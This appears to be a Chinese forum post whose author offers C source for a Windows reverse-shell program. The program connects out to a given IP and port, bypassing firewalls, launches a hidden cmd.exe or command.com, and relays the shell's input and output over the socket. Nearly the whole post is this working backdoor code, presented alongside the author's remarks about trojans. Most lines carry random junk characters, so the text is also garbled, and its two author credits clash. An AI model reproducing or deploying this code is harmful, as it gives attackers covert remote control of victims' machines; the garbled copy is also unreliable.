这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yF8 av=<{
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/* ============================== q;3.pRw(
Rebound port in Windows NT N0,wT6.
By wind,2006/7 */;[ -9
===============================*/ ]Nz~4ebB
#include MkEr|w'
#include <Wn={1Ts"
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#pragma comment(lib,"wsock32.lib") xT6&;,|`
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void OutputShell(); y-w=4_W
SOCKET sClient; !`LaX!bmp
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ouL/tt_~
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void main(int argc,char **argv) ^mz&L|h
{ R @N
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WSADATA stWsaData; S='AA_jnw
int nRet; ^I*</w8
SOCKADDR_IN stSaiClient,stSaiServer; o{f|==<t3#
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if(argc != 3) q|;_G#4
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); TPH`{
return; =Yg36J4[
} ?5_~Kn%2
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WSAStartup(MAKEWORD(2,2),&stWsaData); XkLl (uyh
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?-1r$z
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stSaiClient.sin_family = AF_INET; l=,\ h&
stSaiClient.sin_port = htons(0); 2oyTS*2u_&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >qk[/\^O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,:Qy%k}f
{ Fa:fBs{
printf("Bind Socket Failed!\n"); =
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return; t{Ck"4Cg
} S{'/=Px+
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stSaiServer.sin_family = AF_INET; |h$*z9bsf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KE! aa&g
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qkVGa%^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QWz5iM
{ +aR.t@D+"Y
printf("Connect Error!"); D;VQoO
return; &/R`\(hEA
} {\3k(NdEX
OutputShell(); /I&Hq7SW`
} `B'*ln'r5
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void OutputShell() G|MjKe4}
{ ^K*uP^B=
char szBuff[1024]; BB@I|)9O(
SECURITY_ATTRIBUTES stSecurityAttributes; .@KpN*`KH
OSVERSIONINFO stOsversionInfo; golr,+LSo
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {@, } M
STARTUPINFO stStartupInfo; ^wN x5t
char *szShell; #2l6'gWE0
PROCESS_INFORMATION stProcessInformation; Fb#.Gg9b>
unsigned long lBytesRead; hiO:VA
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kzU;24"K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `7_=2C
stSecurityAttributes.lpSecurityDescriptor = 0; DID&fj9m
stSecurityAttributes.bInheritHandle = TRUE; Au3>=x`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t9T3e
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k.=67L
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B^g+_;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5(e?,B }
stStartupInfo.wShowWindow = SW_HIDE; G%0G$3W"
stStartupInfo.hStdInput = hReadPipe; X{KWBk.1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?g9mDe;k
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GetVersionEx(&stOsversionInfo); JA0$Fz
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switch(stOsversionInfo.dwPlatformId) Q -;ltJ
{ ;ELQIHnD"
case 1: DwM4/m
szShell = "command.com"; (}E-+:vFU
break; U U!M/QJ
default: vQf'lEFk
szShell = "cmd.exe"; FD>j\
break; s33< }O0
} rK&ofc]f$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .Rl58]x~
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send(sClient,szMsg,77,0); 8was/^9;
while(1) 5"(AqXoq
{ t95hI DtD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SjgF&LD
if(lBytesRead) *4}lV8
{ S~^0
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k#"Pv"
send(sClient,szBuff,lBytesRead,0); Ij;=
} V"":_`1VW
else h
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{ LX A1rgUWT
lBytesRead=recv(sClient,szBuff,1024,0); DF D5">g@
if(lBytesRead<=0) break; fq-$u;~h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 63:0Vt>hZ^
} !g:UkU\J
} k1;,eB
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return; .gUceXWH3
}